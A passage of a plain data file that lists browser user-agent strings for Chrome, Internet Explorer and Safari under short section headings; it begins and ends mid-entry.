(X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 -Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 -Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 -Mozilla/5.0 (X11; U; x86_64 Linux; en_GB, en_US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 - -# Microsoft Internet Explorer - -Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) -Mozilla/4.0 (Compatible; MSIE 4.0) -Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt) -Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE) -Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC) -Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) -Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0) -Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) -Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 4.0; Windows 98) -Mozilla/4.0 (compatible; MSIE 4.0; Windows NT) -Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 4.5; Windows 98;) -Mozilla/4.0 (compatible; MSIE 4.5; Windows NT 5.1; .NET CLR 2.0.40607) -Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MSIECrawler) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461; T312461) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.1) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.3; Wanadoo 5.5) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.6) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.4) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; DigExt) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; Hotbar 4.1.8.0) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; .NET CLR 1.0.3705) -Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 5.05; Windows 98; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 3.51) -Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 4.0) -Mozilla/4.0 (compatible; MSIE 5.0b1; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;) -Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6; yplus 1.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; YComp 5.0.2.4) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT;) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.2; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.9; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 3.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 4.1.8.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; .NET CLR 1.0.3705) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.5) -Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.13; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.14; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC Mac OS; en) -Mozilla/4.0 (compatible; MSIE 5.21; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.22; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.2; Mac_PowerPC) -Mozilla/4.0 (compatible; MSIE 5.5;) -Mozilla/4.0 (compatible; MSIE 5.50; Windows 95; SiteKiosk 4.8) -Mozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8) -Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8) -Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0) -Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0) -Mozilla/4.0 (compatible; MSIE 5.5b1; Mac_PowerPC) -Mozilla/4.0 (compatible;MSIE 5.5; Windows 98) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT5) -Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.5) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) -Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) -Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt) -Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) -Mozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461) -Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) -Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) -Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) -Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0) -Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) -Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C) -Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) -Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) -Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) -Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) -Mozilla/4.0 (MSIE 6.0; Windows NT 5.0) -Mozilla/4.0 (MSIE 6.0; Windows NT 5.1) -Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2) -Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0) -Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM) -Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) -Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN) -Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1) -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325) -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.7.58687; SLCC2; Media Center PC 5.0; Zune 3.4; Tablet PC 3.6; InfoPath.3) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.1.76908; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0) -Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko -Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) - -# Safari - -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6) AppleWebKit/531.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.4 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-au) AppleWebKit/525.8+ (KHTML, like Gecko) Version/3.1 Safari/525.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-gb) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.7 (KHTML, like Gecko) Version/3.1 Safari/525.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; en-us) AppleWebKit/526.1+ (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; fr-fr) AppleWebKit/525.9 (KHTML, like Gecko) Version/3.1 Safari/525.9 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; it-it) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; pt-br) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; es-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; hu-hu) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nb-no) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 